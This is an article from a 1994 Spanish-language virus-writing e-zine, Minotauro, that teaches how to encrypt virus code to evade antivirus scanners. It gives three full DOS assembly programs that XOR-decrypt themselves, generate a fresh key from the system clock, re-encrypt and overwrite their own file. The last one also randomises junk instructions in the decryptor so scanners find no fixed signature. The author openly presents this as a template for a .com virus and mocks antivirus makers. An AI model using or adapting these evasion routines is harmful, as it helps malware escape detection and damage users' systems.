Minotauro nº3:(TEXT_004.003):18/08/1994 << Back To Minotauro nº 3
Encripción, parte 1... ------------------------------------------------------------------------------- Algunas definiciones -------------------- Criptografia: del griego graphe----->accion de escribir y de kruptos---->oculto Arte de escribir con clave secreta o de modo enigmatico. Que es encriptar. ----------------- Encriptar ( en nuestro metie ) consiste en codificar o cambiar un codigo perfectamente legible por otro que a primera instancia no lo sea. Para que encriptamos un codigo. ------------------------------- a)Para que no sea legible el codigo a simple vista al hacer un desensamblado. b)Para que algunos antivirus heuristicos no nos jodan. c)Para que en cada encriptacion si es posible sea distinta , de tal manera que en cada reproduccion el codigo sea distinto y no se encuentre una cadena fija permanente que pueda ser usada por los scaner.(Realizar esto implicaria una mezcla de encriptacion con mutacion-) d)En definitiva para camuflear el codigo. e)Para lo que se les ocurra. Formato general de un programa que use encriptamiento. ------------------------------------------------------ startprog: CALL desencripar ;****************************************************************** ;parte del codigo que queremos encriptar mark: ... ... endmark: ... ;****************************************************************** ;rutina de desencriptacion desencriptar proc ... ... ... desencriptar endp De el bosquejo anterior usted puede empezar a razonar lo siguiente.. a)La cabezera o sea ------>call desencriptar , permanecera inmutable por mas que la rutina de encriptacion en cada reproduccion codifique de forma diferente la porcion de codigo comprendida entre las etiquetas mark y endmark. b)La rutina de desencriptacion nunca sera encriptada y por lo tanto le cabe las mismas consideraciones expuestas en a). Dado que la longitud de esta rutina es larga , mas facil es encontrar una cadena que se pueda usar para identificar al virus. c)De lo anterior se deduce que la rutina de desencriptacion debe ser de la menor longitud posible , o mejor distinta en cada reproduccion. d)La rutina de encriptacion , esta encriptada---->Redundancia?? Como se encripta. ----------------- El virus se debe encriptar justamente antes de reproducirce. Las rutinas de encriptacion basicas generalmente operan sobre los bytes del codigo realizando operaciones logicas o aritmeticas sobre estos. Utilizando xor. ~~~~~~~~~~~~~~~ La intrucion xor destino,fuente realiza un or exclusivo entre destino y fuente y el resultado queda en destino. destino xor fuente destino 0 0 0 0 1 1 1 0 1 1 1 1 Lo divertido de la intruccion xor es que si realizamos dos veces la instruccion xor con el mismo valor obtenemos el dato original. EJEMPLO. ~~~~~~~ mov cl,55h mov bl,0aah----------->registro bl=AA en hexa. xor bl,cl ------------> bl xor cl ---->bl=FF en hexa. xor bl,cl-------------> bl xor cl ---->bl=AA en hexa. Esto es ideal para encriptar ya que la rutina de encriptacion y la de desencriptacion sera identica. A modo de ejemplo utilizaremos un programa .com que cada vez que se ejecuta se sobrescribe sobre si mismo encriptandoce. Paso a Paso. ------------ 1) Programa sin encriptacion. ;________________________cortar aqui_________________________________ ;compilarlo con nombre prueba1.com code segment org 0100h assume cs:code,ds:code programa proc far uno: lea dx, saludo mov ah,09h int 21h ;imprime Minotauro mov ax,3d02h ;habre el file prueba1.com lea dx,file ;modo lectura escritura int 21h ;debuelve file handle en ax mov (handle), ax mov bx, (handle) lea cx,dos ;calcula y guarda en cx la lea ax,uno ;longitud en bytes de este programa sub cx,ax lea dx,uno ;buffer comienza en ds:uno mov ax,4000h int 21h ;se sobreescribe este programa mov ax,3e00h ;cierra el file prueba1.com int 21h mov ah,4ch ;vuelve al dos int 21h saludo db "Minotauro$" file db "prueba1.com",0 handle dw 1 dup (?) dos: programa endp code ends end programa ;__________________________cortar aqui____________________________________ Bien si usted a ejecutado el programa anterio vera que funciona correctamente. Pero ahora suponga que el programa anterior sea un codigo de un virus infector de .com no residente. Entonces seria facil para el anti extraer una firma ($%#@&*@-%##-->dedicado al anti),consistente en un string de bytes lo suficientemente extenso para ser utilizado por un scaner ya que el codigo permanece igual en cada corrida. Para evitar este inconveniente encriptaremos el programa anterior utilizando xor. 2) Encriptado con xor. Los pasos en el programa serian los siguientes: a)Desencriptar con la llave existente b)Se ejecuta el programa desencriptado c)Generar una nueva llave d)Encriptar y sobreescribirse e)Devolver el control. La rutina de encriptacion y desencriptacion. -------------------------------------------- nombre:encrEsta rutina es la encargada de encriptar y desencriptar , por lo tanto sera casi la unica parte que quedara siempre sin encriptar. Basicamente trabajara encriptando o desencriptando el codigo comprendido entre las etiquetas mark y endmark. Realizara una xor exclusive con una llave que se guarda en xorkey , la cual es una variable tipo word. Prefiero hacer xor con word en vez de bytes debido a con el primero tendremos 65535 codificaciones del codigo distinto , contra 255 si usamos bytes. ( Esto no es tan asi por el metodo con que se genera la llave) De ordinario la primera vez debera realizar un xor con llave igual a cero. Luego el programa genera una nueva llave , utilizando el servicio int 21,2c lectura de tiempo y fecha del dos. Esta nueva llave es guardada en la variable xorkey y se utilizara en el momento de encriptacion. De mas esta decir que la variable xorkey no es encriptada. UNA COSA MAS. ------------- Debido a que pretendemos codificar lo maximo posible el codigo , la parte de copiado y devolucion del control al dos (o al anfitrion si estamos realizando un virus ) es copiada en memoria al final del virus ,esto debido a que si no hariamos esto esta parte tambien tendria que quedar sin codificar. Esto es la porcion de codigo comprendido entre l1 y l2. ;___________________________cortar aqui____________________________________ ;compilarlo con nombre prueba2.com code segment org 0100h assume cs:code,ds:code programa proc far uno: ;***************************************************************************** ;Esta parte en este programa no haria falta , esto es para allar el delta offset ;para direccionar atravez de bp pues en un virus infector de com si este ;se anexa al final las etiquetas quedarian mal direccionadas. CALL falso falso proc falso endp pop bp sub bp,0103h ;***************************************************************************** call encr_desc mark: start: lea dx, saludo + bp mov ah,09h int 21h ;imprime Minotauro ; etc....etc....etc ;****************************************************************** ;mueve desde l1 hasta l2 al final del codigo ;esta parte en un virus seria la parte de reproduccion y devolucion ;del control al programa anfitrion ;esto lo realizamos para tratar de encriptar la mayor parte posible de codigo. cld lea si, l1 + bp lea di, dos + bp lea cx, l2 lea ax, l1 sub cx,ax sar cx, 1 inc cx rep movsw ;******************************************************************* call rand ;obtiene un numero aleatorio de 16 bits ;para usarlo como nueva llave mov word ptr [xorkey+bp],dx ;******************************************************************** jmp dos l1: ;encuentra el offset en donde a quedado la rutina encr_desc ;almacena en called para luego llamar a esta rutina via memoria. lea ax, rutina + bp mov [called + bp], ax mov ax,3d02h ;habre el file prueba1.com lea dx,file+bp ;modo lectura escritura int 21h ;debuelve file handle en ax mov [handle + bp], ax mov bx, [handle + bp] lea cx,dos+bp ;calcula y guarda en cx la lea ax,uno+bp ;longitud en bytes de este programa sub cx,ax lea dx,uno+bp ;buffer comienza en ds:uno push bx push cx push dx call [called+bp] ;encripta con la nueva llave pop dx pop cx pop bx mov ax,4000h int 21h ;se sobreescribe este programa mov ax,3e00h ;cierra el file prueba1.com int 21h mov ah,4ch ;vuelve al dos int 21h l2: ;********************************************************************** rand proc ;genera una nueva llave aleatoria leyendo el reloj (minutos y segundos) ;resultado en dx mov ah,2ch int 21h ret rand endp ;********************************************************************** saludo db "Minotauro$" file db "prueba2.com",0 handle dw 1 dup (?) endmark: nop nop ;la encriptacion termina en endmark y debido a que trabajamos con word ;y en el calculo nos puede dar que el ultimo word a encriptar comienze ;en direccion de handle+1 ponemos un dos para que si sucede esto encripte ;inutilmente al nop y no a la parte baja de xorkey la cual debe quedar ;desencriptada. ;Se podria haber colocado endmark antes de handle y sacar los nop. xorkey dw 1 dup (0) ;word donde se guarda la llave called dw 1 dup (0) ;********************rutina de encriptacion y desencriptacion************* rutina: ;esta etiqueta (rutina) esta por el echo de que cuando llamamos a la ;rutina para encriptar lo hacemos desde el codigo que hemos desplazado ;en memoria y si hacemos un call encr;pues la rutina encr;calculado en tiempo de compilacion, ;por lo tanto llamamos a la rutina via memoria y para saber ;donde a quedado usamos la etiqueta rutina. encr_desc proc lea bx, mark + bp lea dx, endmark + bp mov cx, dx sub cx,bx sar cx, 1 inc cx mov dx, [xorkey + bp] xorloop: xor [bx],dx ;bx puntero de word a criptar o descriptar add bx,02 ;dx la llave loop xorloop ret encr_desc endp ;*************************************************************************** dos: programa endp code ends end programa ;____________________________corte aqui__________________________________ Bien ahora usted observa que en cada corrida del programa pocas son las partes del mismo que permanece constantes exactamente estas partes son: **************************************************************************** CALL falso falso proc falso endp pop bp sub bp,0103h Esta parte no nos traer problema en primera instancia ya que son pocos bytes. En todo caso podemos usar un truco que veremos luego. **************************************************************************** xorkey dw 1 dup (0) ;word donde se guarda la llave called dw 1 dup (0) No problema pues xorkey es distinta en cada reproduccion. **************************************************************************** encr_desc proc lea bx, mark + bp lea dx, endmark + bp mov cx, dx sub cx,bx sar cx, 1 inc cx mov dx,[xorkey + bp] xorloop: xor [bx],dx ;bx puntero de word a criptar o descriptar add bx,02 ;dx la llave loop xorloop ret encr_desc endp Esta seria la parte mas extensa de codigo que queda sin encriptar , y por lo tanto el eslabon mas debil del sistema . Para eliminar esto supongamos que aaaa ..... cccc sean numeros aleatorios de 16 bits generados de la misma manera que xorkey y transformamos nuestra rutina de la siguiente manera. encr_desc proc lea bx, mark + bp antiscan: add bx,aaaa------>agregado sub bx,aaaa------>agregado lea dx, endmark + bp mov cx, dx sub cx,bx add cx,bbbb ------>agregado sub cx,bbbb ------>agregado sar cx, 1 inc cx mov dx, [xorkey + bp] xorloop: xor [bx],dx ;bx puntero de word a criptar o descriptar add bx,02 ;dx la llave add bx,cccc------>agregado sub bx,cccc------>agregado loop xorloop ret encr_desc endp Observese que al sumar y al restar una misma cantidad el contenido del registro no cambia , pero si el codigo generado. Con esto logramos que el string que se pueda llegar a dejar constante en cada reproduccion sea de menor longitud. Como se haria esto .... simple antes de reproducir generariamos los numeros aaaa.....cccc y los colocariamos en la rutina. ****************************************************************************** Veamos el programa con esta modificacion. ----------------------------------------- ;____________________________corte aqui____________________________________ ;compilarlo con nombre prueba3.com code segment org 0100h assume cs:code,ds:code programa proc far uno: call falso falso proc falso endp pop bp sub bp,0103h call encr_desc mark: start: lea dx, saludo + bp mov ah,09h int 21h ;imprime Minotauro ; etc....etc....etc cld lea si, l1 + bp lea di, dos + bp lea cx, l2 lea ax, l1 sub cx,ax sar cx, 1 inc cx rep movsw call rand ;obtiene un numero aleatorio de 16 bits ;para usarlo como nueva llave mov word ptr [xorkey+bp],dx ;******************************************************************** ;agregado para variar la rutina de encriptamiento lea di,antiscan+bp ;puntero en di call rand ;alla aaaa mov [di+bp+2],dx ;coloca aaaaa mov [di+bp+6],dx ;coloca aaaa call rand ;alla bbbb mov [di+bp+18],dx ;coloca bbbb mov [di+bp+22],dx ;coloca bbbb call rand ;alla cccc mov [di+bp+39],dx ;coloca cccc mov [di+bp+43],dx ;coloca cccc jmp dos l1: lea ax, rutina + bp mov [called + bp], ax mov ax,3d02h ;habre el file prueba1.com lea dx,file+bp ;modo lectura escritura int 21h ;debuelve file handle en ax mov [handle + bp], ax mov bx, [handle + bp] lea cx,dos+bp ;calcula y guarda en cx la lea ax,uno+bp ;longitud en bytes de este programa sub cx,ax lea dx,uno+bp ;buffer comienza en ds:uno push bx push cx push dx call [called+bp] ;encripta con la nueva llave pop dx pop cx pop bx mov ax,4000h int 21h ;se sobreescribe este programa mov ax,3e00h ;cierra el file prueba1.com int 21h mov ah,4ch ;vuelve al dos int 21h l2: rand proc mov ah,2ch int 21h ret rand endp saludo db "Minotauro$" file db "prueba3.com",0 handle dw 1 dup (?) endmark: nop nop xorkey dw 1 dup (0) ;word donde se guarda la llave called dw 1 dup (0) rutina: encr_desc proc lea bx,mark+bp antiscan: add bx,1111h sub bx,1111h lea dx, endmark + bp mov cx, dx sub cx,bx add cx,2222h sub cx,2222h sar cx, 1 inc cx mov dx, [xorkey + bp] xorloop: xor [bx],dx ;bx puntero de word a criptar o descriptar add bx,02 ;dx la llave add bx,3333h sub bx,3333h loop xorloop ret encr_desc enp dos: programa endp code ends end programa ;_______________________corte aqui___________________________________ Bien ahora la rutina encr_desc ligeramente cambia entre reproducion y reproduccion. ?es esto la solucion final? No pues aunque se la hemos complicado a los anti todavia una vez estudiado el codigo los scaners podran usar comodines . Eso si les costara mas trabajo he he he... Bueno por algo se desarrollo la mutacion !!!!!. Creo para el metodo de xor ya basta lo explicado. Como veran la rutina de encriptacion no debe por que ser igual a la de desencriptacion solo basta con que la segunda desaga los cambios producidos por la primera. Por ejemplo se podra encriptar sumando un numero y desencriptar restando, o rotando x veces cada byte a la derecha y desencriptar rotando a la izquierda, o etc , etc , o una mezcla de todos. Bueno por esta vez basta que les aproveche y dudas al bbs. Bye:LAPIDARIO.